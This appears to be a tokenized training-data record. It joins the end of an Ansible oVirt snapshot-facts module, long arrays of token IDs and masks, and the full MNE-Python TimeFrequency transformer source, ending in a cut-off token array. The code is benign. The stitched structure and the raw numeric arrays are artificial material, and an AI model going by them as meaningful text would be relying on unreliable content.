- debug:
var: ovirt_snapshots
'''
RETURN = '''
ovirt_snapshots:
description: "List of dictionaries describing the snapshot. Snapshot attribtues are mapped to dictionary keys,
all snapshot attributes can be found at following url: http://ovirt.github.io/ovirt-engine-api-model/master/#types/snapshot."
returned: On success.
type: list
'''
import fnmatch
import traceback
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.ovirt import (
check_sdk,
create_connection,
get_dict_of_struct,
ovirt_facts_full_argument_spec,
search_by_name,
)
def main():
argument_spec = ovirt_facts_full_argument_spec(
vm=dict(required=True),
description=dict(default=None),
snapshot_id=dict(default=None),
)
module = AnsibleModule(argument_spec)
check_sdk(module)
try:
auth = module.params.pop('auth')
connection = create_connection(auth)
vms_service = connection.system_service().vms_service()
vm_name = module.params['vm']
vm = search_by_name(vms_service, vm_name)
if vm is None:
raise Exception("VM '%s' was not found." % vm_name)
snapshots_service = vms_service.service(vm.id).snapshots_service()
if module.params['description']:
snapshots = [
e for e in snapshots_service.list()
if fnmatch.fnmatch(e.description, module.params['description'])
]
elif module.params['snapshot_id']:
snapshots = [
snapshots_service.snapshot_service(module.params['snapshot_id']).get()
]
else:
snapshots = snapshots_service.list()
module.exit_json(
changed=False,
ansible_facts=dict(
ovirt_snapshots=[
get_dict_of_struct(
struct=c,
connection=connection,
fetch_nested=module.params.get('fetch_nested'),
attributes=module.params.get('nested_attributes'),
) for c in snapshots
],
),
)
except Exception as e:
module.fail_json(msg=str(e), exception=traceback.format_exc())
finally:
connection.close(logout=auth.get('token') is None)
if __name__ == '__main__':
main()
|
gpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
1898,
334,
67,
9,
7800,
9572,
13002,
12,
3277,
14,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
421,
199,
8490,
63,
8314,
275,
791,
2343,
63,
1023,
356,
283,
17,
14,
16,
297,
490,
283,
1205,
356,
788,
7780,
995,
490,
283,
4946,
63,
991,
356,
283,
9387,
936,
421,
199,
8948,
275,
1449,
199,
2595,
199,
578,
26,
21353,
63,
15331,
63,
5047,
199,
3612,
63,
1802,
26,
13939,
9036,
3595,
1373,
503,
1655,
312,
17146,
15,
50,
16566,
5791,
6844,
19076,
199,
2502,
26,
298,
47,
977,
345,
30611,
7984,
75,
8593,
14121,
7984,
75,
7835,
345,
2924,
199,
1023,
63,
3270,
26,
298,
18,
14,
19,
2,
199,
1802,
26,
272,
446,
298,
15310,
9036,
3595,
1373,
503,
1655,
312,
17146,
15,
50,
16566,
5791,
6844,
19076,
2122,
199,
5983,
26,
272,
446,
298,
2765,
859,
8491,
282,
892,
2746,
13,
1896,
445,
8,
23334,
63,
15331,
9,
10572,
12,
1314,
2126,
3509,
282,
769,
402,
19076,
2122,
199,
1419,
26,
272,
4169,
26,
267,
1369,
26,
288,
446,
298,
985,
402,
314,
7525,
543,
5740,
2122,
267,
1415,
26,
2549,
272,
1369,
26,
267,
1369,
26,
288,
446,
298,
5831,
402,
314,
5740,
12,
883,
506,
1202,
465,
5739,
3965,
2122,
272,
5740,
63,
344,
26,
267,
1369,
26,
288,
446,
298,
1304,
402,
314,
13639,
1102,
781,
2934,
370,
8044,
9036,
3595,
2122,
199,
11036,
63,
9970,
63,
7677,
26,
21353,
63,
5047,
199,
2344,
199,
199,
8918,
275,
1449,
199,
3,
6058,
2793,
1133,
1395,
1790,
2725,
367,
17553,
3690,
12,
199,
3,
3648,
737,
21353,
63,
1178,
859,
370,
1937,
4212,
370,
12598,
6299,
26,
199,
199,
3,
19634,
9036,
3595,
1006,
19076,
1314,
1369,
1343,
543,
445,
8,
873,
9,
367,
7525,
4310,
445,
8,
2497,
14543,
23,
304,
199,
13,
21353,
63,
15331,
63,
5047,
26,
272,
4169,
26,
9679,
14543,
23,
272,
1369,
26,
1678,
10,
199,
13,
3105,
26,
272,
2729,
26,
21353,
63,
15331,
199,
2344,
199,
199,
9677,
275,
1449,
199,
23334,
63,
15331,
26,
272,
1369,
26,
298,
1296,
402,
11196,
13660,
314,
5740,
14,
23896,
14399,
84,
10138,
787,
9994,
370,
2600,
2883,
12,
2116,
1006,
5740,
3004,
883,
506,
1911,
737,
2569,
1166,
26,
1455,
921,
23334,
14,
5031,
14,
2308,
15,
23334,
13,
3908,
13,
1246,
13,
1238,
15,
4133,
12645,
1313,
15,
4753,
2122,
272,
2138,
26,
4068,
3182,
14,
272,
730,
26,
769,
199,
2344,
421,
199,
646,
15951,
199,
646,
5190,
199,
199,
504,
3242,
14,
578,
63,
1208,
14,
4316,
492,
6953,
199,
504,
3242,
14,
578,
63,
1208,
14,
23334,
492,
334,
272,
1104,
63,
9277,
12,
272,
1218,
63,
2105,
12,
272,
664,
63,
807,
63,
1618,
63,
1820,
12,
272,
21353,
63,
5047,
63,
2861,
63,
2094,
63,
1650,
12,
272,
2754,
63,
991,
63,
354,
12,
199,
9,
421,
199,
318,
2446,
837,
272,
1423,
63,
1650,
275,
21353,
63,
5047,
63,
2861,
63,
2094,
63,
1650,
8,
267,
4169,
29,
807,
8,
2427,
29,
549,
395,
267,
1369,
29,
807,
8,
885,
29,
403,
395,
267,
5740,
63,
344,
29,
807,
8,
885,
29,
403,
395,
272,
776,
272,
859,
275,
6953,
8,
2094,
63,
1650,
9,
272,
1104,
63,
9277,
8,
578,
9,
339,
862,
26,
267,
1790,
275,
859,
14,
1162,
14,
1935,
360,
1178,
358,
267,
1950,
275,
1218,
63,
2105,
8,
1178,
9,
267,
22505,
63,
1364,
275,
1950,
14,
2253,
63,
1364,
1252,
16092,
63,
1364,
342,
267,
4169,
63,
354,
275,
859,
14,
1162,
459,
2611,
418,
267,
4169,
275,
2754,
63,
991,
63,
354,
8,
16092,
63,
1364,
12,
4169,
63,
354,
9,
267,
340,
4169,
365,
488,
26,
288,
746,
2186,
480,
6849,
1543,
83,
7,
1990,
440,
1911,
2122,
450,
4169,
63,
354,
9,
398,
19076,
63,
1364,
275,
22505,
63,
1364,
14,
1364,
8,
2611,
14,
344,
680,
15331,
63,
1364,
342,
267,
340,
859,
14,
1162,
459,
1802,
2565,
288,
19076,
275,
359,
355,
325,
367,
325,
315,
19076,
63,
1364,
14,
513,
342,
355,
340,
15951,
14,
15359,
8,
69,
14,
1802,
12,
859,
14,
1162,
459,
1802,
1105,
288,
1622,
267,
916,
859,
14,
1162,
459,
4753,
63,
344,
2565,
288,
19076,
275,
359,
355,
19076,
63,
1364,
14,
4753,
63,
1364,
8,
578,
14,
1162,
459,
4753,
63,
344,
13227,
362,
342,
288,
1622,
267,
587,
26,
288,
19076,
275,
19076,
63,
1364,
14,
513,
342,
398,
859,
14,
2224,
63,
1001,
8,
288,
2896,
29,
797,
12,
288,
3242,
63,
5047,
29,
807,
8,
355,
21353,
63,
15331,
1524,
490,
664,
63,
807,
63,
1618,
63,
1820,
8,
717,
2702,
29,
67,
12,
717,
1950,
29,
2105,
12,
717,
5267,
63,
6376,
29,
578,
14,
1162,
14,
362,
360,
3535,
63,
6376,
659,
717,
3004,
29,
578,
14,
1162,
14,
362,
360,
6376,
63,
2987,
659,
490,
776,
367,
286,
315,
19076,
355,
2156,
288,
2318,
267,
776,
272,
871,
2186,
465,
325,
26,
267,
859,
14,
1633,
63,
1001,
8,
1328,
29,
495,
8,
69,
395,
1919,
29,
6894,
14,
908,
63,
2804,
1012,
272,
3753,
26,
267,
1950,
14
] |
[
2647,
15,
1393,
15,
1548,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
1898,
334,
67,
9,
7800,
9572,
13002,
12,
3277,
14,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
421,
199,
8490,
63,
8314,
275,
791,
2343,
63,
1023,
356,
283,
17,
14,
16,
297,
490,
283,
1205,
356,
788,
7780,
995,
490,
283,
4946,
63,
991,
356,
283,
9387,
936,
421,
199,
8948,
275,
1449,
199,
2595,
199,
578,
26,
21353,
63,
15331,
63,
5047,
199,
3612,
63,
1802,
26,
13939,
9036,
3595,
1373,
503,
1655,
312,
17146,
15,
50,
16566,
5791,
6844,
19076,
199,
2502,
26,
298,
47,
977,
345,
30611,
7984,
75,
8593,
14121,
7984,
75,
7835,
345,
2924,
199,
1023,
63,
3270,
26,
298,
18,
14,
19,
2,
199,
1802,
26,
272,
446,
298,
15310,
9036,
3595,
1373,
503,
1655,
312,
17146,
15,
50,
16566,
5791,
6844,
19076,
2122,
199,
5983,
26,
272,
446,
298,
2765,
859,
8491,
282,
892,
2746,
13,
1896,
445,
8,
23334,
63,
15331,
9,
10572,
12,
1314,
2126,
3509,
282,
769,
402,
19076,
2122,
199,
1419,
26,
272,
4169,
26,
267,
1369,
26,
288,
446,
298,
985,
402,
314,
7525,
543,
5740,
2122,
267,
1415,
26,
2549,
272,
1369,
26,
267,
1369,
26,
288,
446,
298,
5831,
402,
314,
5740,
12,
883,
506,
1202,
465,
5739,
3965,
2122,
272,
5740,
63,
344,
26,
267,
1369,
26,
288,
446,
298,
1304,
402,
314,
13639,
1102,
781,
2934,
370,
8044,
9036,
3595,
2122,
199,
11036,
63,
9970,
63,
7677,
26,
21353,
63,
5047,
199,
2344,
199,
199,
8918,
275,
1449,
199,
3,
6058,
2793,
1133,
1395,
1790,
2725,
367,
17553,
3690,
12,
199,
3,
3648,
737,
21353,
63,
1178,
859,
370,
1937,
4212,
370,
12598,
6299,
26,
199,
199,
3,
19634,
9036,
3595,
1006,
19076,
1314,
1369,
1343,
543,
445,
8,
873,
9,
367,
7525,
4310,
445,
8,
2497,
14543,
23,
304,
199,
13,
21353,
63,
15331,
63,
5047,
26,
272,
4169,
26,
9679,
14543,
23,
272,
1369,
26,
1678,
10,
199,
13,
3105,
26,
272,
2729,
26,
21353,
63,
15331,
199,
2344,
199,
199,
9677,
275,
1449,
199,
23334,
63,
15331,
26,
272,
1369,
26,
298,
1296,
402,
11196,
13660,
314,
5740,
14,
23896,
14399,
84,
10138,
787,
9994,
370,
2600,
2883,
12,
2116,
1006,
5740,
3004,
883,
506,
1911,
737,
2569,
1166,
26,
1455,
921,
23334,
14,
5031,
14,
2308,
15,
23334,
13,
3908,
13,
1246,
13,
1238,
15,
4133,
12645,
1313,
15,
4753,
2122,
272,
2138,
26,
4068,
3182,
14,
272,
730,
26,
769,
199,
2344,
421,
199,
646,
15951,
199,
646,
5190,
199,
199,
504,
3242,
14,
578,
63,
1208,
14,
4316,
492,
6953,
199,
504,
3242,
14,
578,
63,
1208,
14,
23334,
492,
334,
272,
1104,
63,
9277,
12,
272,
1218,
63,
2105,
12,
272,
664,
63,
807,
63,
1618,
63,
1820,
12,
272,
21353,
63,
5047,
63,
2861,
63,
2094,
63,
1650,
12,
272,
2754,
63,
991,
63,
354,
12,
199,
9,
421,
199,
318,
2446,
837,
272,
1423,
63,
1650,
275,
21353,
63,
5047,
63,
2861,
63,
2094,
63,
1650,
8,
267,
4169,
29,
807,
8,
2427,
29,
549,
395,
267,
1369,
29,
807,
8,
885,
29,
403,
395,
267,
5740,
63,
344,
29,
807,
8,
885,
29,
403,
395,
272,
776,
272,
859,
275,
6953,
8,
2094,
63,
1650,
9,
272,
1104,
63,
9277,
8,
578,
9,
339,
862,
26,
267,
1790,
275,
859,
14,
1162,
14,
1935,
360,
1178,
358,
267,
1950,
275,
1218,
63,
2105,
8,
1178,
9,
267,
22505,
63,
1364,
275,
1950,
14,
2253,
63,
1364,
1252,
16092,
63,
1364,
342,
267,
4169,
63,
354,
275,
859,
14,
1162,
459,
2611,
418,
267,
4169,
275,
2754,
63,
991,
63,
354,
8,
16092,
63,
1364,
12,
4169,
63,
354,
9,
267,
340,
4169,
365,
488,
26,
288,
746,
2186,
480,
6849,
1543,
83,
7,
1990,
440,
1911,
2122,
450,
4169,
63,
354,
9,
398,
19076,
63,
1364,
275,
22505,
63,
1364,
14,
1364,
8,
2611,
14,
344,
680,
15331,
63,
1364,
342,
267,
340,
859,
14,
1162,
459,
1802,
2565,
288,
19076,
275,
359,
355,
325,
367,
325,
315,
19076,
63,
1364,
14,
513,
342,
355,
340,
15951,
14,
15359,
8,
69,
14,
1802,
12,
859,
14,
1162,
459,
1802,
1105,
288,
1622,
267,
916,
859,
14,
1162,
459,
4753,
63,
344,
2565,
288,
19076,
275,
359,
355,
19076,
63,
1364,
14,
4753,
63,
1364,
8,
578,
14,
1162,
459,
4753,
63,
344,
13227,
362,
342,
288,
1622,
267,
587,
26,
288,
19076,
275,
19076,
63,
1364,
14,
513,
342,
398,
859,
14,
2224,
63,
1001,
8,
288,
2896,
29,
797,
12,
288,
3242,
63,
5047,
29,
807,
8,
355,
21353,
63,
15331,
1524,
490,
664,
63,
807,
63,
1618,
63,
1820,
8,
717,
2702,
29,
67,
12,
717,
1950,
29,
2105,
12,
717,
5267,
63,
6376,
29,
578,
14,
1162,
14,
362,
360,
3535,
63,
6376,
659,
717,
3004,
29,
578,
14,
1162,
14,
362,
360,
6376,
63,
2987,
659,
490,
776,
367,
286,
315,
19076,
355,
2156,
288,
2318,
267,
776,
272,
871,
2186,
465,
325,
26,
267,
859,
14,
1633,
63,
1001,
8,
1328,
29,
495,
8,
69,
395,
1919,
29,
6894,
14,
908,
63,
2804,
1012,
272,
3753,
26,
267,
1950,
14,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
kambysese/mne-python
|
mne/decoding/time_frequency.py
|
12
|
5163
|
# Author: Jean-Remi King <jeanremi.king@gmail.com>
#
# License: BSD (3-clause)
import numpy as np
from .mixin import TransformerMixin
from .base import BaseEstimator
from ..time_frequency.tfr import _compute_tfr, _check_tfr_param
from ..utils import fill_doc, _check_option
@fill_doc
class TimeFrequency(TransformerMixin, BaseEstimator):
"""Time frequency transformer.
Time-frequency transform of times series along the last axis.
Parameters
----------
freqs : array-like of float, shape (n_freqs,)
The frequencies.
sfreq : float | int, default 1.0
Sampling frequency of the data.
method : 'multitaper' | 'morlet', default 'morlet'
The time-frequency method. 'morlet' convolves a Morlet wavelet.
'multitaper' uses Morlet wavelets windowed with multiple DPSS
multitapers.
n_cycles : float | array of float, default 7.0
Number of cycles in the Morlet wavelet. Fixed number
or one per frequency.
time_bandwidth : float, default None
If None and method=multitaper, will be set to 4.0 (3 tapers).
Time x (Full) Bandwidth product. Only applies if
method == 'multitaper'. The number of good tapers (low-bias) is
chosen automatically based on this to equal floor(time_bandwidth - 1).
use_fft : bool, default True
Use the FFT for convolutions or not.
decim : int | slice, default 1
To reduce memory usage, decimation factor after time-frequency
decomposition.
If `int`, returns tfr[..., ::decim].
If `slice`, returns tfr[..., decim].
.. note:: Decimation may create aliasing artifacts, yet decimation
is done after the convolutions.
output : str, default 'complex'
* 'complex' : single trial complex.
* 'power' : single trial power.
* 'phase' : single trial phase.
%(n_jobs)s
The number of epochs to process at the same time. The parallelization
is implemented across channels.
%(verbose)s
See Also
--------
mne.time_frequency.tfr_morlet
mne.time_frequency.tfr_multitaper
"""
def __init__(self, freqs, sfreq=1.0, method='morlet', n_cycles=7.0,
time_bandwidth=None, use_fft=True, decim=1, output='complex',
n_jobs=1, verbose=None): # noqa: D102
"""Init TimeFrequency transformer."""
freqs, sfreq, _, n_cycles, time_bandwidth, decim = \
_check_tfr_param(freqs, sfreq, method, True, n_cycles,
time_bandwidth, use_fft, decim, output)
self.freqs = freqs
self.sfreq = sfreq
self.method = method
self.n_cycles = n_cycles
self.time_bandwidth = time_bandwidth
self.use_fft = use_fft
self.decim = decim
# Check that output is not an average metric (e.g. ITC)
self.output = _check_option('output', output,
['complex', 'power', 'phase'])
self.n_jobs = n_jobs
self.verbose = verbose
def fit_transform(self, X, y=None):
"""Time-frequency transform of times series along the last axis.
Parameters
----------
X : array, shape (n_samples, n_channels, n_times)
The training data samples. The channel dimension can be zero- or
1-dimensional.
y : None
For scikit-learn compatibility purposes.
Returns
-------
Xt : array, shape (n_samples, n_channels, n_freqs, n_times)
The time-frequency transform of the data, where n_channels can be
zero- or 1-dimensional.
"""
return self.fit(X, y).transform(X)
def fit(self, X, y=None): # noqa: D401
"""Do nothing (for scikit-learn compatibility purposes).
Parameters
----------
X : array, shape (n_samples, n_channels, n_times)
The training data.
y : array | None
The target values.
Returns
-------
self : object
Return self.
"""
return self
def transform(self, X):
"""Time-frequency transform of times series along the last axis.
Parameters
----------
X : array, shape (n_samples, n_channels, n_times)
The training data samples. The channel dimension can be zero- or
1-dimensional.
Returns
-------
Xt : array, shape (n_samples, n_channels, n_freqs, n_times)
The time-frequency transform of the data, where n_channels can be
zero- or 1-dimensional.
"""
# Ensure 3-dimensional X
shape = X.shape[1:-1]
if not shape:
X = X[:, np.newaxis, :]
# Compute time-frequency
Xt = _compute_tfr(X, self.freqs, self.sfreq, self.method,
self.n_cycles, True, self.time_bandwidth,
self.use_fft, self.decim, self.output, self.n_jobs,
self.verbose)
# Back to original shape
if not shape:
Xt = Xt[:, 0, :]
return Xt
|
bsd-3-clause
|
[
3,
6529,
26,
1603,
69,
290,
13,
497,
2664,
1804,
316,
665,
6532,
290,
264,
2664,
14,
17443,
32,
6799,
14,
957,
30,
199,
3,
199,
3,
844,
26,
6289,
334,
19,
13,
8501,
9,
199,
199,
646,
2680,
465,
980,
199,
504,
1275,
20406,
492,
30486,
4256,
199,
504,
1275,
1095,
492,
3523,
13183,
199,
504,
2508,
521,
63,
11132,
14,
3249,
82,
492,
485,
3357,
63,
3249,
82,
12,
485,
1074,
63,
3249,
82,
63,
635,
199,
504,
2508,
1208,
492,
5554,
63,
1301,
12,
485,
1074,
63,
1422,
421,
199,
32,
4498,
63,
1301,
199,
533,
4703,
18285,
8,
19761,
4256,
12,
3523,
13183,
304,
272,
408,
1366,
9857,
21484,
14,
339,
4703,
13,
11132,
5793,
402,
5431,
6779,
3180,
314,
2061,
3114,
14,
339,
3897,
272,
4143,
272,
9220,
83,
520,
1625,
13,
2930,
402,
2069,
12,
2215,
334,
78,
63,
28557,
4258,
267,
710,
22411,
14,
272,
308,
5646,
520,
2069,
1204,
1109,
12,
849,
413,
14,
16,
267,
428,
23144,
9857,
402,
314,
666,
14,
272,
1083,
520,
283,
3029,
84,
9804,
7,
1204,
283,
12416,
2723,
297,
849,
283,
12416,
2723,
7,
267,
710,
900,
13,
11132,
1083,
14,
283,
12416,
2723,
7,
406,
5650,
2310,
282,
603,
269,
2723,
12204,
2723,
14,
267,
283,
3029,
84,
9804,
7,
4440,
603,
269,
2723,
12204,
16537,
4353,
379,
543,
3663,
577,
48,
2300,
267,
3510,
16609,
1192,
14,
272,
302,
63,
23356,
520,
2069,
1204,
1625,
402,
2069,
12,
849,
1520,
14,
16,
267,
4860,
402,
19001,
221,
315,
314,
603,
269,
2723,
12204,
2723,
14,
18659,
1329,
267,
503,
1373,
1126,
9857,
14,
272,
900,
63,
18358,
520,
2069,
12,
849,
488,
267,
982,
488,
436,
1083,
29,
3029,
84,
9804,
12,
911,
506,
663,
370,
841,
14,
16,
334,
19,
24410,
1192,
680,
267,
4703,
671,
334,
9042,
9,
27709,
2063,
3336,
14,
5972,
12966,
340,
267,
1083,
508,
283,
3029,
84,
9804,
1370,
710,
1329,
402,
6954,
24410,
1192,
334,
674,
13,
8160,
9,
365,
267,
12414,
5847,
4079,
641,
642,
370,
4472,
19841,
8,
521,
63,
18358,
446,
413,
680,
272,
675,
63,
9996,
520,
2155,
12,
849,
715,
267,
3645,
314,
29484,
367,
406,
5650,
8653,
503,
440,
14,
272,
12985,
77,
520,
1109,
1204,
6014,
12,
849,
413,
267,
4005,
7114,
4402,
4503,
12,
12985,
1615,
6535,
2410,
900,
13,
11132,
267,
22706,
14,
267,
982,
658,
442,
3559,
2529,
2833,
82,
18999,
3800,
22612,
77,
1055,
267,
982,
658,
5224,
3559,
2529,
2833,
82,
18999,
12985,
77,
1055,
398,
2508,
5317,
447,
1487,
559,
1615,
1443,
1218,
5162,
316,
27990,
12,
5966,
12985,
1615,
2116,
365,
4224,
2410,
314,
406,
5650,
8653,
14,
339,
1072,
520,
620,
12,
849,
283,
5254,
7,
267,
627,
283,
5254,
7,
520,
2849,
16324,
6114,
14,
267,
627,
283,
5652,
7,
520,
2849,
16324,
7074,
14,
267,
627,
283,
6971,
7,
520,
2849,
16324,
7669,
14,
272,
2818,
78,
63,
6920,
9,
83,
267,
710,
1329,
402,
18463,
370,
2112,
737,
314,
2011,
900,
14,
710,
30042,
25698,
267,
365,
6366,
9371,
9245,
14,
272,
2818,
3832,
9,
83,
339,
1666,
6121,
272,
3001,
272,
18250,
14,
521,
63,
11132,
14,
3249,
82,
63,
12416,
2723,
272,
18250,
14,
521,
63,
11132,
14,
3249,
82,
63,
3029,
84,
9804,
272,
408,
339,
347,
636,
826,
721,
277,
12,
9220,
83,
12,
308,
5646,
29,
17,
14,
16,
12,
1083,
534,
12416,
2723,
297,
302,
63,
23356,
29,
23,
14,
16,
12,
326,
900,
63,
18358,
29,
403,
12,
675,
63,
9996,
29,
549,
12,
12985,
77,
29,
17,
12,
1072,
534,
5254,
297,
326,
302,
63,
6920,
29,
17,
12,
3376,
29,
403,
304,
221,
327,
8151,
26,
577,
7759,
267,
408,
9346,
4703,
18285,
21484,
1041,
267,
9220,
83,
12,
308,
5646,
12,
5501,
302,
63,
23356,
12,
900,
63,
18358,
12,
12985,
77,
275,
971,
288,
485,
1074,
63,
3249,
82,
63,
635,
8,
28557,
12,
308,
5646,
12,
1083,
12,
715,
12,
302,
63,
23356,
12,
2490,
900,
63,
18358,
12,
675,
63,
9996,
12,
12985,
77,
12,
1072,
9,
267,
291,
14,
28557,
275,
9220,
83,
267,
291,
14,
83,
5646,
275,
308,
5646,
267,
291,
14,
765,
275,
1083,
267,
291,
14,
78,
63,
23356,
275,
302,
63,
23356,
267,
291,
14,
521,
63,
18358,
275,
900,
63,
18358,
267,
291,
14,
1180,
63,
9996,
275,
675,
63,
9996,
267,
291,
14,
22612,
77,
275,
12985,
77,
267,
327,
2670,
626,
1072,
365,
440,
376,
8095,
6370,
334,
69,
14,
71,
14,
473,
5708,
9,
267,
291,
14,
1199,
275,
485,
1074,
63,
1422,
360,
1199,
297,
1072,
12,
2511,
788,
5254,
297,
283,
5652,
297,
283,
6971,
1105,
267,
291,
14,
78,
63,
6920,
275,
302,
63,
6920,
267,
291,
14,
3832,
275,
3376,
339,
347,
5542,
63,
4711,
8,
277,
12,
1323,
12,
612,
29,
403,
304,
267,
408,
1366,
13,
11132,
5793,
402,
5431,
6779,
3180,
314,
2061,
3114,
14,
398,
3897,
267,
4143,
267,
1323,
520,
1625,
12,
2215,
334,
78,
63,
3356,
12,
302,
63,
6324,
12,
302,
63,
4508,
9,
288,
710,
6093,
666,
5845,
14,
710,
3623,
6240,
883,
506,
4697,
13,
503,
288,
413,
13,
13014,
14,
267,
612,
520,
488,
288,
2104,
6276,
6065,
13,
4643,
7163,
12901,
14,
398,
1803,
267,
5514,
267,
1323,
84,
520,
1625,
12,
2215,
334,
78,
63,
3356,
12,
302,
63,
6324,
12,
302,
63,
28557,
12,
302,
63,
4508,
9,
288,
710,
900,
13,
11132,
5793,
402,
314,
666,
12,
2382,
302,
63,
6324,
883,
506,
288,
4697,
13,
503,
413,
13,
13014,
14,
267,
408,
267,
372,
291,
14,
3269,
8,
56,
12,
612,
680,
4711,
8,
56,
9,
339,
347,
5542,
8,
277,
12,
1323,
12,
612,
29,
403,
304,
221,
327,
8151,
26,
577,
8854,
267,
408,
2585,
6548,
334,
509,
6276,
6065,
13,
4643,
7163,
12901,
680,
398,
3897,
267,
4143,
267,
1323,
520,
1625,
12,
2215,
334,
78,
63,
3356,
12,
302,
63,
6324,
12,
302,
63,
4508,
9,
288,
710,
6093,
666,
14,
267,
612,
520,
1625,
1204,
488,
288,
710,
1347,
1338,
14,
398,
1803,
267,
5514
] |
[
6529,
26,
1603,
69,
290,
13,
497,
2664,
1804,
316,
665,
6532,
290,
264,
2664,
14,
17443,
32,
6799,
14,
957,
30,
199,
3,
199,
3,
844,
26,
6289,
334,
19,
13,
8501,
9,
199,
199,
646,
2680,
465,
980,
199,
504,
1275,
20406,
492,
30486,
4256,
199,
504,
1275,
1095,
492,
3523,
13183,
199,
504,
2508,
521,
63,
11132,
14,
3249,
82,
492,
485,
3357,
63,
3249,
82,
12,
485,
1074,
63,
3249,
82,
63,
635,
199,
504,
2508,
1208,
492,
5554,
63,
1301,
12,
485,
1074,
63,
1422,
421,
199,
32,
4498,
63,
1301,
199,
533,
4703,
18285,
8,
19761,
4256,
12,
3523,
13183,
304,
272,
408,
1366,
9857,
21484,
14,
339,
4703,
13,
11132,
5793,
402,
5431,
6779,
3180,
314,
2061,
3114,
14,
339,
3897,
272,
4143,
272,
9220,
83,
520,
1625,
13,
2930,
402,
2069,
12,
2215,
334,
78,
63,
28557,
4258,
267,
710,
22411,
14,
272,
308,
5646,
520,
2069,
1204,
1109,
12,
849,
413,
14,
16,
267,
428,
23144,
9857,
402,
314,
666,
14,
272,
1083,
520,
283,
3029,
84,
9804,
7,
1204,
283,
12416,
2723,
297,
849,
283,
12416,
2723,
7,
267,
710,
900,
13,
11132,
1083,
14,
283,
12416,
2723,
7,
406,
5650,
2310,
282,
603,
269,
2723,
12204,
2723,
14,
267,
283,
3029,
84,
9804,
7,
4440,
603,
269,
2723,
12204,
16537,
4353,
379,
543,
3663,
577,
48,
2300,
267,
3510,
16609,
1192,
14,
272,
302,
63,
23356,
520,
2069,
1204,
1625,
402,
2069,
12,
849,
1520,
14,
16,
267,
4860,
402,
19001,
221,
315,
314,
603,
269,
2723,
12204,
2723,
14,
18659,
1329,
267,
503,
1373,
1126,
9857,
14,
272,
900,
63,
18358,
520,
2069,
12,
849,
488,
267,
982,
488,
436,
1083,
29,
